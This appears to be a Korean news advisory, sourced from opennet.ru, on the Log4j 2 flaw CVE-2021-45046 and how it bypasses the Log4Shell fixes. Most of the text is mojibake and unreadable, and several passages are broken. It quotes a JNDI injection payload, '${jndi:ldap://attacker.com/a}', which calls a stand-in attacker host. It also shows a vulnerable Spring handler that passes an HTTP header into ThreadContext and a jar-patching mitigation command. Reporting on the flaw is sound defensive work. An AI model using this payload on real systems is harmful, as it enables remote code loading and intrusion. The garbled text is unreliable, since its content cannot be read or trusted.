Log4j 2 ๋ผ์ด๋ธ๋ฌ๋ฆฌ(CVE-2021-45046)์ JNDI ์กฐํ ๊ตฌํ์์ ๋ ๋ค๋ฅธ ์ทจ์ฝ์ ์ด ํ์ธ๋์์ต๋๋ค. ์ด๋ ๋ฆด๋ฆฌ์ค 2.15์ ์ถ๊ฐ๋ ์์ ์ฌํญ์๋ ๋ถ๊ตฌํ๊ณ ๋ณดํธ๋ฅผ ์ํ "log4j2.noFormatMsgLookup" ์ค์ ์ฌ์ฉ๊ณผ ๊ด๊ณ์์ด ๋ํ๋ฉ๋๋ค. ์ด ๋ฌธ์ ๋ ์ฃผ๋ก "noFormatMsgLookup" ํ๋๊ทธ๋ฅผ ์ฌ์ฉํ์ฌ ๋ณดํธ๋๋ ์ด์ ๋ฒ์ ์ Log4j 2์์ ์ํํฉ๋๋ค. ์ด์ ์ทจ์ฝ์ (Log4Shell, CVE-2021-44228)์ผ๋ก๋ถํฐ์ ๋ณดํธ๋ฅผ ์ฐํํ ์ ์๊ธฐ ๋๋ฌธ์ ๋๋ค. ์ฌ๊ธฐ๋ ์ฌ๋. ๋ฒ์ 2.15 ์ฌ์ฉ์์ ๊ฒฝ์ฐ ์ฌ์ฉ ๊ฐ๋ฅํ ๋ฆฌ์์ค๊ฐ ๊ณ ๊ฐ๋์ด ์ ํ๋ฆฌ์ผ์ด์ ์ด ์ค๋จ๋๋ ์ ๋๋ก ์ ์ฉ์ด ์ ํ๋ฉ๋๋ค.
์ทจ์ฝ์ ์ ${ctx:loginId}์ ๊ฐ์ ๋ก๊น ์ ์ํด ์ปจํ ์คํธ ์กฐํ ๋๋ %X, %mdc ๋ฐ %MDC์ ๊ฐ์ MDC ํ ํ๋ฆฟ(์ค๋ ๋ ์ปจํ ์คํธ ๋งต)์ ์ฌ์ฉํ๋ ์์คํ ์์๋ง ๋ํ๋ฉ๋๋ค. ์์ ์ ๋ก๊ทธ์ ๋ํ ์ถ๋ ฅ ํ์ ์ง์ ๊ท์น์ ์ ์ํ๋ ์ ํ๋ฆฌ์ผ์ด์ ์์ ์ปจํ ์คํธ ์ฟผ๋ฆฌ ๋๋ MDC ํ ํ๋ฆฟ์ ์ฌ์ฉํ ๋ JNDI ๋์ฒด๊ฐ ํฌํจ๋ ๋ฐ์ดํฐ๋ฅผ ๋ก๊ทธ์ ์ถ๋ ฅํ๊ธฐ ์ํ ์กฐ๊ฑด์ ์์ฑํ๋ ๊ฒ์ผ๋ก ์์ฝ๋ฉ๋๋ค.
LunaSec ์ฐ๊ตฌ์๋ค์ Log4j 2.15 ๋ฏธ๋ง ๋ฒ์ ์ ๊ฒฝ์ฐ ์ด ์ทจ์ฝ์ ์ด Log4Shell ๊ณต๊ฒฉ์ ์ํ ์๋ก์ด ๋ฒกํฐ๋ก ์ฌ์ฉ๋ ์ ์์ผ๋ฉฐ, ์ฝ๋ ์คํ ์ฌ๋ถ์ ๊ด๊ณ์์ด ์ธ๋ถ ๋ฐ์ดํฐ๋ฅผ ํฌํจํ๋ ThreadContext ํํ์์ด ๋ก๊ทธ ์ถ๋ ฅ์ ์ฌ์ฉ๋๋ ๊ฒฝ์ฐ ์ฝ๋ ์คํ์ผ๋ก ์ด์ด์ง ์ ์๋ค๊ณ ์ง์ ํ์ต๋๋ค. "๋ณดํธ" ํ๋๊ทธ๊ฐ ํ์ฑํ๋์์ต๋๋ค. noMsgFormatLookups" ๋๋ ํ ํ๋ฆฟ "%m{nolookups}".
๋ณดํธ๋ฅผ ์ฐํํ๋ ๊ฒ์ "${jndi:ldap://attacker.com/a}"๋ฅผ ์ง์ ๋์ฒดํ๋ ๋์ ์ด ํํ์์ด ๋ก๊ทธ ์ถ๋ ฅ ํ์ ์ง์ ๊ท์น์ ์ฌ์ฉ๋๋ ์ค๊ฐ ๋ณ์์ ๊ฐ์ ํตํด ๋์ฒด๋๋ค๋ ์ฌ์ค๋ก ๊ท๊ฒฐ๋ฉ๋๋ค. . ์๋ฅผ ๋ค์ด, ๋ก๊ทธ ์ถ๋ ฅ ์ ์ปจํ ์คํธ ์ฟผ๋ฆฌ ${ctx:apiversion}์ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ, "${jndi:ldap://attacker.com/a}" ๋ฐ์ดํฐ๋ฅผ "${jndi:ldap://attacker.com/a}"๋ก ๋์ฒดํ์ฌ ๊ณต๊ฒฉ์ ์ํํ ์ ์์ต๋๋ค. apiversion ๋ณ์์ ๊ฐ์ด ๊ธฐ๋ก๋ฉ๋๋ค. ์ทจ์ฝํ ์ฝ๋์ ์:appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // "X-Api-Version" HTTP ํค๋ ๊ฐ์ด ThreadContext์ ์ ๋ฌ๋ฉ๋๋ค ThreadContext.put("apiversion ", api๋ฒ์ ); // ๋ก๊ทธ์ ์ถ๋ ฅํ ๋ ์ธ๋ถ apiversion ๊ฐ์ ๋์ฒด๋ฅผ ์ฌ์ฉํ์ฌ ์ฒ๋ฆฌ๋ฉ๋๋ค. ${ctx:apiversion} logger.info("Received a request for API version"); "์๋ ํ์ธ์, ์ธ๊ณ!"๋ฅผ ๋ฐํํฉ๋๋ค. }
Log4j ๋ฒ์ 2.15์์๋ ThreadContext์ ๊ฐ์ ์ ๋ฌํ ๋ DoS ๊ณต๊ฒฉ์ ์ํํ๋ ๋ฐ ์ทจ์ฝ์ ์ ์ฌ์ฉํ ์ ์์ผ๋ฉฐ, ์ด๋ก ์ธํด ์ถ๋ ฅ ํ์ ํ ํ๋ฆฟ ์ฒ๋ฆฌ์ ๋ฃจํ๊ฐ ๋ฐ์ํฉ๋๋ค.
์ทจ์ฝ์ ์ ์ฐจ๋จํ๊ธฐ ์ํด ์ ๋ฐ์ดํธ 2.16 ๋ฐ 2.12.2๊ฐ ๊ฒ์๋์์ต๋๋ค. Log4j 2.16 ๋ถ๊ธฐ์์๋ ๋ฒ์ 2.15์ ๊ตฌํ๋ ์์ ์ฌํญ๊ณผ "localhost"์ ๋ํ JNDI LDAP ์์ฒญ ๋ฐ์ธ๋ฉ ์ธ์๋ JNDI ๊ธฐ๋ฅ์ด ๊ธฐ๋ณธ์ ์ผ๋ก ์์ ํ ๋นํ์ฑํ๋๊ณ ๋ฉ์์ง ๋์ฒด ํ ํ๋ฆฟ์ ๋ํ ์ง์์ด ์ ๊ฑฐ๋ฉ๋๋ค. ๋ณด์ ํด๊ฒฐ ๋ฐฉ๋ฒ์ผ๋ก ํด๋์ค ๊ฒฝ๋ก์์ JndiLookup ํด๋์ค๋ฅผ ์ ๊ฑฐํ๋ ๊ฒ์ด ์ข์ต๋๋ค(์: "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class"). .
๋ฐฐํฌํ(Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) ๋ฐ Java ํ๋ซํผ ์ ์กฐ์
์ฒด(GitHub, Docker, Oracle, vmWare, Broadcom ๋ฐ Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure ๋ฑ).
์ถ์ฒ : opennet.ru